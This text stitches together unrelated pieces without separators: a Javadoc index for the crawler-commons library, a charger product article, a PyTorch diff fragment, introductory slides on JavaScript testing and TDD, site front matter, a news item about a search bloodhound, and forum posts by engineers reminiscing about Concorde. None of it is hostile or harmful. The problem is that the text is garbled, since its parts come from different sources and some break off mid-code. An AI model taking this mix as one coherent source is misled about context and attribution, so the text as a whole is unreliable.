BaseRobotRules
setExpanded(byte[])
- Method in class crawlercommons.fetcher.
EncodingUtils.ExpandedResult
setHttpVersion(HttpVersion)
- Method in class crawlercommons.fetcher.
SimpleHttpFetcher
setLastModified(Date)
- Method in class crawlercommons.sitemaps.
SiteMap
setLastModified(String)
- Method in class crawlercommons.sitemaps.
SiteMap
setLastModified(String)
- Method in class crawlercommons.sitemaps.
SiteMapURL
Set when this URL was last modified.
setLastModified(Date)
- Method in class crawlercommons.sitemaps.
SiteMapURL
Set when this URL was last modified.
setMaxConnectionsPerHost(int)
- Method in class crawlercommons.fetcher.
BaseFetcher
setMaxContentSize(String, int)
- Method in class crawlercommons.fetcher.
BaseFetcher
setMaxRedirects(int)
- Method in class crawlercommons.fetcher.
BaseFetcher
setMaxRetryCount(int)
- Method in class crawlercommons.fetcher.
SimpleHttpFetcher
setMinResponseRate(int)
- Method in class crawlercommons.fetcher.
BaseFetcher
setPayload(Payload)
- Method in class crawlercommons.fetcher.
FetchedResult
setPriority(double)
- Method in class crawlercommons.sitemaps.
SiteMapURL
Set the URL's priority to a value between [0.0 - 1.0] (0.0 is used if the given priority is out of range).
setPriority(String)
- Method in class crawlercommons.sitemaps.
SiteMapURL
Set the URL's priority to a value between [0.0 - 1.0] (0.0 is used if the given priority is out of range).
setRedirectMode(BaseFetcher.RedirectMode)
- Method in class crawlercommons.fetcher.
BaseFetcher
setSocketTimeout(int)
- Method in class crawlercommons.fetcher.
SimpleHttpFetcher
setStackTrace(StackTraceElement[])
- Method in exception crawlercommons.fetcher.
BaseFetchException
setTruncated(boolean)
- Method in class crawlercommons.fetcher.
EncodingUtils.ExpandedResult
setUrl(URL)
- Method in class crawlercommons.sitemaps.
SiteMapURL
Set the URL.
setUrl(String)
- Method in class crawlercommons.sitemaps.
SiteMapURL
Set the URL.
setValidMimeTypes(Set<String>)
- Method in class crawlercommons.fetcher.
BaseFetcher
SimpleHttpFetcher
- Class in
crawlercommons.fetcher
SimpleHttpFetcher(UserAgent)
- Constructor for class crawlercommons.fetcher.
SimpleHttpFetcher
SimpleHttpFetcher(int, UserAgent)
- Constructor for class crawlercommons.fetcher.
SimpleHttpFetcher
SimpleRobotRules
- Class in
crawlercommons.robots
Result from parsing a single robots.txt file - which means we get a set of rules, and a crawl-delay.
SimpleRobotRules()
- Constructor for class crawlercommons.robots.
SimpleRobotRules
SimpleRobotRules(SimpleRobotRules.RobotRulesMode)
- Constructor for class crawlercommons.robots.
SimpleRobotRules
SimpleRobotRules.RobotRule
- Class in
crawlercommons.robots
Single rule that maps from a path prefix to an allow flag.
SimpleRobotRules.RobotRule(String, boolean)
- Constructor for class crawlercommons.robots.
SimpleRobotRules.RobotRule
SimpleRobotRules.RobotRule(Pattern, boolean)
- Constructor for class crawlercommons.robots.
SimpleRobotRules.RobotRule
SimpleRobotRules.RobotRulesMode
- Enum in
crawlercommons.robots
SimpleRobotRulesParser
- Class in
crawlercommons.robots
SimpleRobotRulesParser()
- Constructor for class crawlercommons.robots.
SimpleRobotRulesParser
SiteMap
- Class in
crawlercommons.sitemaps
SiteMap()
- Constructor for class crawlercommons.sitemaps.
SiteMap
SiteMap(URL)
- Constructor for class crawlercommons.sitemaps.
SiteMap
SiteMap(String)
- Constructor for class crawlercommons.sitemaps.
SiteMap
SiteMap(URL, Date)
- Constructor for class crawlercommons.sitemaps.
SiteMap
SiteMap(String, String)
- Constructor for class crawlercommons.sitemaps.
SiteMap
SiteMap.SitemapType
- Enum in
crawlercommons.sitemaps
Various Sitemap types
SiteMapIndex
- Class in
crawlercommons.sitemaps
SiteMapIndex()
- Constructor for class crawlercommons.sitemaps.
SiteMapIndex
SiteMapIndex(URL)
- Constructor for class crawlercommons.sitemaps.
SiteMapIndex
SiteMapParser
- Class in
crawlercommons.sitemaps
SiteMapParser()
- Constructor for class crawlercommons.sitemaps.
SiteMapParser
SiteMapURL
- Class in
crawlercommons.sitemaps
The SitemapUrl class represents a URL found in a Sitemap.
SiteMapURL(String)
- Constructor for class crawlercommons.sitemaps.
SiteMapURL
SiteMapURL(URL)
- Constructor for class crawlercommons.sitemaps.
SiteMapURL
SiteMapURL(String, String, String, String)
- Constructor for class crawlercommons.sitemaps.
SiteMapURL
SiteMapURL(URL, Date, SiteMapURL.ChangeFrequency, double)
- Constructor for class crawlercommons.sitemaps.
SiteMapURL
SiteMapURL.ChangeFrequency
- Enum in
crawlercommons.sitemaps
Allowed change frequencies
size()
- Method in class crawlercommons.fetcher.
Payload
T
toString()
- Method in exception crawlercommons.fetcher.
BaseFetchException
toString()
- Method in class crawlercommons.sitemaps.
SiteMap
toString()
- Method in class crawlercommons.sitemaps.
SiteMapIndex
toString()
- Method in class crawlercommons.sitemaps.
SiteMapURL
toString()
- Method in class crawlercommons.url.
EffectiveTldFinder.EffectiveTLD
U
UnknownFormatException
- Exception in
crawlercommons.sitemaps
UnknownFormatException()
- Constructor for exception crawlercommons.sitemaps.
UnknownFormatException
UnknownFormatException(String)
- Constructor for exception crawlercommons.sitemaps.
UnknownFormatException
UNSET_CRAWL_DELAY
- Static variable in class crawlercommons.robots.
BaseRobotRules
UrlFetchException
- Exception in
crawlercommons.fetcher
UrlFetchException()
- Constructor for exception crawlercommons.fetcher.
UrlFetchException
UrlFetchException(String, String)
- Constructor for exception crawlercommons.fetcher.
UrlFetchException
UserAgent
- Class in
crawlercommons.fetcher
UserAgent(String, String, String)
- Constructor for class crawlercommons.fetcher.
UserAgent
UserAgent(String, String, String, String)
- Constructor for class crawlercommons.fetcher.
UserAgent
UserAgent(String, String, String, String, String)
- Constructor for class crawlercommons.fetcher.
UserAgent
V
valueOf(String)
- Static method in enum crawlercommons.fetcher.
AbortedFetchReason
Returns the enum constant of this type with the specified name.
valueOf(String)
- Static method in enum crawlercommons.fetcher.
BaseFetcher.RedirectMode
Returns the enum constant of this type with the specified name.
valueOf(String)
- Static method in enum crawlercommons.fetcher.
RedirectFetchException.RedirectExceptionReason
Returns the enum constant of this type with the specified name.
valueOf(String)
- Static method in enum crawlercommons.robots.
SimpleRobotRules.RobotRulesMode
Returns the enum constant of this type with the specified name.
valueOf(String)
- Static method in enum crawlercommons.sitemaps.
SiteMap.SitemapType
Returns the enum constant of this type with the specified name.
valueOf(String)
- Static method in enum crawlercommons.sitemaps.
SiteMapURL.ChangeFrequency
Returns the enum constant of this type with the specified name.
values()
- Static method in enum crawlercommons.fetcher.
AbortedFetchReason
Returns an array containing the constants of this enum type, in the order they are declared.
values()
- Static method in enum crawlercommons.fetcher.
BaseFetcher.RedirectMode
Returns an array containing the constants of this enum type, in the order they are declared.
values()
- Method in class crawlercommons.fetcher.
Payload
values()
- Static method in enum crawlercommons.fetcher.
RedirectFetchException.RedirectExceptionReason
Returns an array containing the constants of this enum type, in the order they are declared.
values()
- Static method in enum crawlercommons.robots.
SimpleRobotRules.RobotRulesMode
Returns an array containing the constants of this enum type, in the order they are declared.
values()
- Static method in enum crawlercommons.sitemaps.
SiteMap.SitemapType
Returns an array containing the constants of this enum type, in the order they are declared.
values()
- Static method in enum crawlercommons.sitemaps.
SiteMapURL.ChangeFrequency
Returns an array containing the constants of this enum type, in the order they are declared.
W
WILD_CARD
- Static variable in class crawlercommons.url.
EffectiveTldFinder
writeBaseFields(DataOutput)
- Method in exception crawlercommons.fetcher.
BaseFetchException
_
_acceptLanguage
- Variable in class crawlercommons.fetcher.
BaseFetcher
_defaultMaxContentSize
- Variable in class crawlercommons.fetcher.
BaseFetcher
_maxConnectionsPerHost
- Variable in class crawlercommons.fetcher.
BaseFetcher
_maxContentSizes
- Variable in class crawlercommons.fetcher.
BaseFetcher
_maxRedirects
- Variable in class crawlercommons.fetcher.
BaseFetcher
_maxThreads
- Variable in class crawlercommons.fetcher.
BaseFetcher
_minResponseRate
- Variable in class crawlercommons.fetcher.
BaseFetcher
_redirectMode
- Variable in class crawlercommons.fetcher.
BaseFetcher
_userAgent
- Variable in class crawlercommons.fetcher.
BaseFetcher
_validMimeTypes
- Variable in class crawlercommons.fetcher.
BaseFetcher
A
B
C
D
E
F
G
H
I
K
L
N
P
R
S
T
U
V
W
_
Overview
Package
Class
Use
Tree
Deprecated
Index
Help
PREV NEXT
FRAMES
NO FRAMES
All Classes


The year is 20XX. Everyone plays Fox at TAS levels of perfection. Because of this, the winner of a match depends solely on port priority. The RPS metagame has evolved to ridiculous levels due to it being the only remaining factor to decide matches - Toph


Hands-on with the world’s smallest 100W GaN USB-C charger from Hyper [Video]
by 9to5 StaffLaunching this week from our friends at Hyper, the latest HyperJuice product is the world’s first and smallest 100W GaN USB-C charger on the market.
Below we go hands-on with the new charger to give you an early look as the company this week begins taking preorders.
About the size of a deck of cards, the new 100W charger is capable of quickly charging up to 4 devices at once via its 2 USB-C ports (supporting Power Delivery 3.0), and 2 x USB-A ports (supporting Quick Charge 3.0). That gives you everything you need to charge all of your MacBooks, iPads, iPhones & other USB devices while on the go.
To make it the perfect travel charger, Hyper is also including international adapters in the box. Head below for our video hands-on:
Hands-on with HyperJuice 100W GaN USB-C Charger
Hyper is utilizing Gallium Nitride (GaN) technology to miniaturize components and make the new HyperJuice charger around 50% smaller than traditional chargers while offering even more power.
Here’s a look next to Apple’s own MacBook charger:
Not only does the new HyperJuice charger offer enough power at 100W to charge two 15″ MacBook Pros at fast speeds, it also can quick charge a MacBook Pro while, for example, simultaneously fast charging an iPad Pro, an iPhone, and a mobile device like your Apple Watch or AirPods.
Other nice features for the new HyperJuice include built-in foldable wall plugs and those travel-friendly pin converters that work in any country as mentioned above.
You can preorder the Hyper Juice 100W GaN USB-C Charger 40% off retail price on Kickstarter now with first shipments starting January.
FTC: We use income earning auto affiliate links. More.


Before Change
if max_phrase_len > min(len(x) for x in inputs):
idx = torch.tensor(self.vocab_map[self.pad], requires_grad=False, device=device)
pad_vector = self.embedding(idx)
input_tensor = []
for phrase in inputs:
// build a list of the vectors we want for this sentence / phrase
After Change
indices.append(PAD_ID)
indices = torch.tensor(indices, requires_grad=False, device=device)
input_vectors = self.embedding(indices)
for unknown in unknowns:
input_vectors[unknown, :] = self.unk
// we will now have an N x emb_size tensor


|title|igPieChart|title| |styles| |styles| |content|
You can change the Budget values in the table and see the chart responding.
This sample demonstrates how create an igPieChart using an AngularJS directive.
Explore the Code


Some Basic JavaScript Examples
A BAD first example
Different ways to change colors
A simple image editor


Introduction to Testing
Intro to automated testing philosophies, uses, and techniques with application to JS testing in Jasmine
Welcome!
Girl Develop It is here to provide affordable and accessible programs to learn software through mentorship and hands-on instruction.
Some “rules”
- We are here for you!
- Every question is important
- Help each other
- Have fun
Who to bug & where to get stuff
Your beautiful TAs! Say hi, y’all!
Lulu
Frufru
Where to get these gorgeous slides:
http://awesome-link.github.io
The chick teaching this:
<EMAIL_ADDRESS>What you need for this course
- A computer, a modern browser, and the internet.
- A basic understanding of JavaScript, especially functions.
Tell us about yourself!
Your name and pronouns?
What’s your tech background?
What are you hoping to get out of this class?
What song or meme are you really digging right now?
What we’ll be covering:
- What automated testing is
- Why automated testing is important
- Kinds of testing, testing philosophies and approaches
- Practicum: Unit testing vanilla JS with Jasmine
- Wrap Up: Testing considerations, best practices, reflections, and conclusions
Cool, so what’s this automated testing thing?
Automated tests are pieces of code that run your original code.
They can be very specific and only test a function or a part of a function (fine-grained), or they can be coarse-grained and test an actual end-to-end scenario.
The real power of any kind of automated test is that is automated— it’s a piece of code and you can do some cool stuff with it.
Why should I write automated tests?
Minimize or prevent regressions
This applies to testing more broadly, but it deserves to be said explicitly:
- The only way to know if your code work is to test it.
- Just because you tested it by hand doesn’t mean you hit all the edge cases.
- Also, just because your code worked when you tested it by hand that one time does not mean it works now.
Isolate bugs
- If a regression or bug does crop up, you know where it is.
- The faster you can pinpoint the source of an error, the faster you can fix it.
Confidence in refactoring/rewrites
- It’s nerve-wracking to try to fix code when you’re not sure if you’ll break something in the process.
- This is especially true if the code you’re changing is significantly complex/important.
- So people usually don’t clean it up. This is one very real reason for code rot. (It is not a coincidence that the most important pieces of code are often the ugliest.)
- It also makes it easier to sell updating parts of the codebase if you can show you will have a high degree of confidence that customers will not get broken code.
Minimize Feedback Cycle:
Speed & Portability
- Automated tests run much faster than manual testing (they're code!)
- You know very quickly if you’ve broken any functionality
- Ideal setup: your tests run every time the code changes. This makes the feedback cycle the shortest it can be.
- You can run these tests in every environment*, including as part of the build process.
Continuous deployment
- If your tests adequately cover the use cases in your app and they run with the build, then you can set up the build to deploy to prod after all the tests pass.
- No humans needed, so this is wicked fast.
- This is what most companies either do or aspire to do because it means you can push out code all. the. time. serious #bizzyV
Tests as documentation
- If you’ve written good tests (with good test names), then you can also use your test suite as living documentation.
- Because the tests are reliant on the code, they’ll always be current, avoiding a common problem with most other forms of documentation.
- Some languages, like Elixir, allow you to use code examples in your documentation as tests (they are run with the rest of the test suite).
Responsibility for code quality
- Our job is to solve problems, not write code. If we don’t ensure the quality of our code, then we aren’t solving the problem, we are just writing code.
- It’s easy to throw problems onto someone else. If you get used to doing that, it’s easy to believe that code quality issues aren’t your problem (spoiler: they are).
- It’s also easy to get sloppy because you expect someone else will find and/or fix your bugs for you.
- This depends on your team, but ideally, this responsibility is shared, either amongst your team or a subset of your team.
Being a better developer
- Writing good test cases means thinking critically about the problem you’ve been given to solve.
- This takes a certain mindset, but developing that mindset will make you a better engineer and more generally, a better problem solver. After all, what is programming but the application of logic? </philosophy>
If you’re doing test driven development (TDD) you get extra benefits.
Test Driven Development
You write the tests before the code.
Tests are first-class citizens, not an afterthought.
The problem you are given has been solved when all the tests pass.
Mantra: Red, Green, Refactor
- RED: Because you’ve written the test before the code, the test should fail. You also need to make sure the test fails in the way you expect. Bonus points for making sure you get a useful error message when it fails.
- GREEN: Fix the test by writing the necessary code.
- REFACTOR: Once the test passes, take another look at the code and see if you can make it better, DRYer, faster, stronger.
Why do TDD?
Requirements clarification / reduce time waste
- We don’t always get clear-cut requirements.
- When you write the test first, you have to know upfront exactly what's being asked of you, and that's ideal.
- If you can’t write the test, you don’t have enough information to write the code.
- You also know where you’re missing clarity. You can take that information back to the appropriate people and work out what's needed before you waste development time.
Example
Original requirement:
Create a user with the information in the create user form
if it doesn’t already
exist.
Some questions:
- What determines if the user exists? The username? The email? Something else?
- Which information is required? Can the user be created without some information?
- What if the user does exist? Is that an error? A no-op? Should the user information be updated? Or do we allow duplicates?
Only write what you need
- Related to clarifying the requirements is the idea of gold-plating. If we don’t really know what’s expected, we are likely to add extra code that doesn’t really do anything.
- But extra code means extra complexity and more stuff we have to maintain.
- Because you have a gauge to determine when you’re done (the tests), you only write as much as you need to to get the tests to pass. No more, no less.
Write testable code
- Writing tests after the code has been written usually results in less testable or completely un(unit)testable code.
Squash bugs better & faster
The first step of debugging an issue is to reproduce it. You can do that by writing a test! This is awesome because:
- This helps to isolate the bug
- You can fix the bug faster because you can reproduce it reliably and quickly
- You have more confidence that you’ve really fixed the issue
- Now that case is part of the test suite, so you are also assured that you won’t have that regression again
Being an even better developer
Not only does TDD require an analytical mindset, like testing and engineering more broadly, but it also requires discipline. It’s not about slapping code down. You have to step back and think about the problem.
What kinds of testing are there?
disclaimer
Testing is kind of like Agile— everyone does it a little bit differently.
I’m going to give my take on how to
break down the testing stack, but you might hear this terminology used a little differently.
What kinds of testing are there?
- Unit tests
- Integration tests
- User acceptance tests / end-to-end tests
Unit testing
- This is the most ubiquitous kind of testing.
- Here, you test at the finest-grained level. You’re testing a function or a part of a function.
- Generally, this is where you would mock data (we'll talk about mocking a little later).
- This level of granularity means that you’ll have a lot of them, but they also run the fastest.
Integration testing
- Where you test how two pieces of code interact with each other. Also used to describe tests that touch a database.
- These can be a little more complicated than unit tests, but they are vital to make sure the various parts of the system are working together as expected.
- You should not mock in integration tests.
End-to-end or
User acceptance tests
- You are testing the application from the perspective of a user. E.g., frameworks like Selenium allow you to mimick a user clicking elements on a page.
- This means it's the coarsest-grained kind of test.
- These tend to take the longest to run and are the most brittle. They're definitely important, but you don’t want as many of these as unit tests. They tend to take the most development effort to setup and maintain.
Something To Ponder:
If you don’t have any tests, these are the tests you want to start with. Trying to make up unit or integration tests is even more time-consuming and sometimes isn’t even possible. At least with user acceptance tests, you know when something is broken.
Testing Philosophies
Proportions
Pyramid
The traditional formula
Proportions
House
You still want fewer end-to-end tests
Test Coverage Metrics
- This is the traditional metric for test success: You measure how many lines of your code is tested by your test suite (there are tools for this).
- Just like trying to meet any metric for the sake meeting the metric, this has drawbacks.
- This can cause extra work or extra code for no tangible benefit. And just like with any metric, you can game the system.
- My advice: If you care if it works, test it. If your code base is tight, then you will have a high test coverage percentage as a matter of course.
Behavior-driven development (BDD)
- Grew out of TDD and incorporates large parts of domain-driven design, especially the concept of ubiquitous language.
-
Helps focus tests by giving guidance on:
- what to test and what not to test
- how to name tests
- how much to test in one test case
- how to understand why a test fails
Behavior-driven development (BDD)
- Looks like a user acceptance criteria and many BDD frameworks use a syntax that mirrors this
- Can use with user scenarios
- Can help with getting more clear-cut requirements
Behavior-driven development (BDD)
BDD example (Gherkin): Library
Scenario: Checkout book
Given the library is open
And the patron's library card is valid
When the patron checks out book
Then ensure the book is added to the patron's account
And ensure the patron receives a receipt
And ensure the patron's library card is returned
An Incomplete Cheat Sheet Of Testing Libraries
| JavaScript | Mocha, Chai, Jasmine, Karma, Enzyme, Jest |
| Ruby | Rspec, minitest |
| JVM | JUnit, Spock |
| Python | unittest |
| E2E |
Selenium (multi-language)
protractor (Angular… ish) |
| BDD |
Cucumber (multi-language)
Spock, JBehave (JVM) Jasmine, Mocha (JS) Spinach (ruby) |
In the second part of this course, we’ll be writing tests for vanilla JS code using Jasmine as our testing framework.


--- layout: default title: Projects date: 2016-02-23 15:51:05.000000000 -08:00 classes: wide type: page parent_id: '0' published: true password: '' status: publish categories: [] tags: [] meta: _wp_page_template: '' _publicize_pending: '1' _rest_api_published: '1' _rest_api_client_id: "-1" author: login: jmacthewanderer email<EMAIL_ADDRESS>display_name: jMacTheWanderer first_name: '' last_name: '' permalink: "/projects/" ---
here I will post my latest coding projects


--- title: Israel shot 047 date: 2004-02-17T00:00:00.000Z filepathOriginal: photos/IMG0142.jpg filepathThumbnail: photos/IMG0142.thumbnail.jpg filepathPreview: photos/IMG0142.preview.jpg ---
Zeeks instructs Crembo and Ari how to pretend (we hope) to be two male Ibex fighting over a female Ibex


Selected Fruit Key: {{value}}
Selected Fruit Key: {{value}}
Selected Fruit Key: {{value}}
Selected Fruit Key: {{value}}
Selected Fruit Key(s): {{value}}
Selected Fruit Key(s): {{value}}
Selected Fruit Key(s): {{value}}
Selected Fruit Key(s): {{value}}
Selected Fruit Key(s): {{value}}
Selected Fruit Key(s): {{value}}


I am a recent graduate from Loughborough University seeking opportunities in aerodynamics and design for both aeronautical and automotive applications.
My previous research has focused on aircraft loss of control (LOC) events. I also have experience in aircaft and systems design. Check out my work here.
A full CV is available here.


Lee County bloodhound locates missing woman
by WFTX Digital TeamLEE COUNTY, Fla. -- A specially-trained bloodhound with the Lee County Sheriff's Office was able to help find a missing woman this week.
The 85-year-old was reported missing from her North Fort Myers home early Thursday morning.
Deputy Julio Lock and Bloodhound Maggie, who is trained for search and rescue missions, were assigned to the case.
They were able to find the woman behind a home on the eastern side of North Tamiami Trail.
The woman is reported to be safe and doing well.


Page Links: First Previous 1 2 3 4 Next Last Index Page
| CliveL 23rd Dec 2010, 15:16 permalink Post: 971 |
Quote:
I had never heard of any such stiffeners before I started reading this thread. The wing inboard of Rib 12 was pretty stiff as was Rib 12 itself, so it didn't need stiffening there. I don't see how tiny stiffeners like that, mounted INBOARD of Rib 12 could ever have have any significant stiffening effect on the wing OUTBOARD of Rib 12. if anyone wanted to stiffen the outer wing it would be much more efficient to do it with internal structure, so any external addition would have been some sort of panic measure and I think I would have heard of it. The external shape of the excrescence looks to me much more like a streamlined fairing to get some sort of cable or pipe from A to B when for some reason it couldn't be passed through inside the wing. In this connection I see that the objects in question run fairly close if not along, area where one might have something going from tank 5a to 6 or 7 to 7a. Yes there would be a small performance penalty for these fairings. In summary I don't really know, but would need a lot of convincing that these things really were external stiffeners! CliveL |
||
| CliveL 27th Dec 2010, 12:13 permalink Post: 1025 |
Quote:
I've pulled this quotation out at random from what I have found a rather disappointing sequence of postings. I could write reams about this (and like everyone in this thread I would write as a Concordophile), but I won't - or at least I will try not to. In general I'm with Christian on this, and for the record I think a few 'counterfactuals' should be recorded. I am not trying to reopen a sterile debate - as CJ has said irrevocable decisions have been made and the subject is done and dusted. However, let us remember that: G-BOAF was, and is the property of BA; BAe and now AI are merely caretakers. AI's statement cross-posted from the Heritage website strikes me as a very reasonable statement; we found that your roof is leaking, if you don't get it fixed it is going to get worse rather rapidly; if you (BA) agree and will pay us to do it we will take it indoors and fix it. I don't see any sinister intent here, and given the weather we have had in the UK over the past weeks it must be regarded as a happy, if fortuitous decision! Those who know Filton will also know that there is nowhere that Alpha Fox could be stored under cover except in the hangar where she was first assembled. They will also know that this hangar is buried in the centre of the factory and nobody, in a post 9/11 world, is going to give more or less unrestricted public access to somewhere containing a lot of valuable real estate! So when BA took the decision to locate AF at Filton it must have been in the knowledge that she would live in British weather until some form of shelter could be organised. That it has taken so long to (fail to) organise such shelter is regrettable, but the blame can hardly be uniquely allocated to AI. BA own the aircraft, BAe/AI had a 40% share in building the airframe, RR a 60% share in building the powerplant. IMHO they should all have chipped in to construct some sort of shelter - it was never on the cards that local enthusiasts could have raised enough in a short time. Although 'Dude' says that all the UK airframes were left out in the weather, this is not exactly true is it? 002 at Yeovilton (certainly) and 101 at Duxford (I think) are under cover and receive lots of TLC. It is at least arguable that these early airframes have more historical significance than Alpha Fox. So far as AI's decision to hand back the C of A is concerned, they would have already recognised from the post-Gonesse activity that most people with sufficient expertise on the Concorde design were retired (or worse!) They have enough people to keep a subsonic aircraft going, but Concorde would, I think, require additional experience. AI management would certainly have consulted AI Engineering about this, and I have to say that the then Head of Engineering was someone I know well. He, like me, worked on Concorde in the early days and he is definitely not antiConcorde. I for one would respect his decision. So far as the decision to stop services goes, we all knew they would be cut off sometime.the only question was when. When we were designing the aircraft the general feeling was that she would stay in service for about 30 years, but we also feared that it would only need one fatal accident to bring the whole lot crashing down. [Incidentally, it was that latter philosophy that made us (we hoped) ultracareful with airworthiness issues] In the event it was 28 years and one accident. Even before Gonesse AF were losing money on their Concorde services. One might have thought that they would stop right away, but I suspect that a combination of Gallc pride and politics ensured that they would carry on. But eventually there came a point where, on an airline losing money and in a recession, an unsentimantal and yes, generally unsympathetic, management would have to say enough is enough. What else would you have them do? Continue to fly loss making services so that their rival BA could go on with their profitable? operations? One would have to say 'Get real!' Once AF had decided to stop, what do you expect of AI? They are a company with a duty to make profit for their shareholders. OK, they had a duty, also to support in service aircraft, but that duty does not extend to doing that at a loss. With AF out of it therefore AI had no alternative but to ask BA to shoulder the full bill. I have no doubt that when BA declined to do this AI breathed a huge sigh of relief, but at the end of the day the decision to stop all Concorde services was above all an AIRLINE decision. Sorry to go rabbiting on, but it is a subject that arouses strong emotions! CliveL |
||
| ChristiaanJ 2nd Jan 2011, 21:17 permalink Post: 1068 |
CliveL
,
DozyWannabee
,
It's always fun doing a bit of 'aero-archaeology'.... isn't it? You're both right. At the roll-out, 01 was already marked "AEROSPATIALE", and the tracking camera 'target' was already painted on the right-hand side (but not on the left!). So the earlier photo in question is definitely 002. I recently re-scanned my ancient 'Filton' photos... only black-and-white, but maybe worth adding them to the 'records'. G-AXDN being moved out of the hangar. Interestingly, no tracking camera target on the left-hand side.... it must have been added very soon after, because I have a photo from a few weeks later, where it's in place on both sides. Roll-out or not, G-AXDN still wasn't quite finished... three of the four engine nozzles/thrust reversers are still missing and replaced provisionally by 'space frames'. This one again confirms the "AEROSPATIALE" marking. Also, somebody hadn't gotten round to painting the tail cone yet.... CJ Oh, and a PS.... Another 'kinky' photo, this one of 001 when still outside the Le Bourget museum. (Photo from the ConcordeSST.com site). |
||
| CliveL 6th Jan 2011, 19:02 permalink Post: 1076 |
Quote:
One of the things I like about this thread is the way in which it reminds me of things I had forgotten about the design phase - or in this case informs me of things I maybe never knew! I just do not remember any improved Ultra AICU design. So far as the French 'choice' on the matter, they probably weren't given one. Like the rear fuselage alterations referred to in another posting , it was all a matter of timing. 102 came after 101 so 102 got the lengthened rear fuselage (which was done to improve the 'area rule' distribution and gave about 2.5% drag reduction). We (BAC) were going to do the AICU development so it made sense for 101 to get the early hybrid units. [If you were cynical you might equally say that there was no way we were going to let AS have them first!]. CliveL |
||
| CliveL 7th Jan 2011, 11:06 permalink Post: 1078 |
ChristiaanJ, you wrote:Is that a typo and did you mean "it made sense for
102
to get the early hybrid units."?
No. it wsn't a typo, but you may have been misled by my use of 'hybrid' by which I meant the final AICU version which most people describe as digital.It had digital law generation but analogue servo control loops. We were responsible for development of the AICU 'laws' and with Fairford being less than an hours drive from Filton it was far more convenient to do the flight testing out of Faiford so that results could be evaluated rapidly and the next day's flight test sequence planned. CliveL |
||
| M2dude 15th Jan 2011, 10:59 permalink Post: 1100 |
A Journey Back In Time !!
OK, here is a photo that I took at Fairford in November 1976. I'd just had my very first Concorde flight on a brand new G-BOAD, and took this flight deck photo in the hangar later that afternoon (the doors are open hence the late afternoon Cotswold sky. The point of this rather poor (sorry guys, I was young for goodness sake) photo is to look at just how subtly different the 1976 flight deck WAS.
The first thing I know EXWOK and BELLEROPHON will (maybe) notice is that originally OAD had a 'normal colour' electroluminescent light plate on the visor indication panel. (If I remember rightly (it was a million years ago chaps) when this one 'stopped lighting' we could not get a replacement and had to rob 202 (G-BBDG) at Filton; this one being the same black development aircraft colour that OAD has to this day. The OTHER first thing that you may notice is the Triple Temperature Indicator on the captains dash panel. (The first officer had his in in similar position). These got moved around (twice in the end) when TCAS was installed in the mid-90's. It was amazing just how much equipment got moved around over the years, in order to 'shoe-horn in' various bits of extra equimpent. The cabin altimeter here fitted just above the #1 INS CDU also got moved (to the centre consul) when the FAA 'Branniff' modifications were embodied later in the 70's. It's spot got occupied by a standy altimeter mandated by the FAA but this was removed after Branniff ceased flying Concorde; the cabin altimeter returning to it's former home. The REALLY observant will notice that there is neither an Autoland Ca3/Cat2 identifier on the AFCS panel (glued on by BA at LHR) or the famous and precision built 'Reheat Capabilty Indicator' flip down plate fitted to the centre dash panel a few years later by BA. Also not shown here, as they were buyer furnished equipment also fitted at on delivery LHR, are the two ADEUs (Automatic Data Entry Units, or INS Card readers). These were located immediatel aft of the CDU's and were used for bulk waypoint loading ('bulk' being 9, the most that the poor old Delco INU memory could handle). These were removed in the mid 90's when the Navigation Database was fitted to Concorde INUs, and bulk loading then was achieved by simply tapping in a 2 digit code. (Hardly the elegence of FMS, but still very elegent in comparison with the ADEU's, and worked superbly).  As often as not the ADEU would chew the card up and spit the remnants out, without reading any data, or not even bother spitting out the remnants at all. Removing these things FINALLY when the INUs were modified was absolute joy!! ps. When G-BOAG (then G-BFKW) was delivered in 1980 it had neither any of the Branniff mods or ADEUs fitted. (Also the INS was not wired for DME updating). This meant that obviously she could not fly IAD-DFW with Branniff but also she could not do LHR-BAH either, because of the lack ADEUs. (You could not manually insert waypoints quick enough over the 'Med', or so the guys told me. So for the first few years good old FKW/OAG just used to plod between LHR and JFK. And plod she did, superbly. She never did get the ADEUs (not necessary thank goodness when the INUs got modified) but we wired in DME updating and so she could navigate around with the best of them. My gosh I do prattle on, sorry guys. Best regards Dude PS Welcome back Landlady, hope you've recovered from your fall XXXX Last edited by M2dude; 15th Jan 2011 at 11:29 . |
||
| ChristiaanJ 17th Jan 2011, 17:26 permalink Post: 1116 |
Quote:
Filton was 'taking in' RAF Brittanias for major overhaul at the time. Reminds me of a funny tale, not Concorde-related. Years before (mid '60s) I'd bought an ex-RAF vacuum-driven artificial horizon in one of those surplus shops in London, dated by a War Ministry label to 1939. I'd already run it once with a vacuum cleaner (oh, the vandalism the young get up to...). Since the Brit had some vacuum-driven instruments, there was a test bench in the Filton lab for such instruments. So I brought in my ancient horizon, had it tested.... and it still met the basic specs! They made them well in those days.... CJ |
||
| M2dude 18th Jan 2011, 06:43 permalink Post: 1119 |
ChristiaanJ
Quote:
I seem to remember the Chipmunk used to use a cute little 'vaccy' gyro horizon. I pulled many of these apart during my RAF training. (Sometimes I even managed to get the odd one or two back together and working again). Best regards Dude |
||
| M2dude 26th Jan 2011, 12:18 permalink Post: 1137 |
So many vivid memories from so many people.
I suppose personally I'll always remember the first time that I ever saw Concorde flying as well as the LAST time : The very first, as I posted here many months ago, was in 1970 when I, as a young grotty little RAF erk, was in Swindon and heard this loud roar in the sky over what was then Bon March\xe9 (Now Debenhams). Looking up I saw this amazing sight of 002 complete with her attending Canberra chase plane flying over.  The very LAST time I saw her flying was in November 2003 at the side of LHR 27R as G-BOAF, the last Concorde ever built and the last one ever to fly, made her final departure out of a very dismal Heathrow bound for Filton. For me, the weather at LHR that day perfectly matched to gloom of the occasion I'm afraid. A really lasting memory I wil always treasure is while my now VERY grown up children were still young, they were (almost) as big Concorde 'nuts' as their dad. Concorde would fly over our house daily and they would run to the window every time they heard the sound of an aeroplane. The general disappointed chant they would come out with was 'it's not Concorde dad, it's just a plane'. For the life of me I don't know why they would develop THAT kind of prejudice and from whom they would get it from . (I used this particular ditty in a 2003 Concorde BBC TV documentary we did, but my cover is blown here anyway, so what the hell . EXWOK
Quote:
Hopefully she will get a fitting 'home' soon so that more people can marvel at our absolutely beautiful and truly timeless aviation icon Best regards Dude Last edited by M2dude; 26th Jan 2011 at 13:49 . |
||
| CliveL 31st Jan 2011, 13:50 permalink Post: 1168 |
Quote:
This one really shows it up Alpha Fox after last landing at Filton. "> Cheers CL Last edited by CliveL; 1st Feb 2011 at 08:58 . Reason: addition of picture |
||
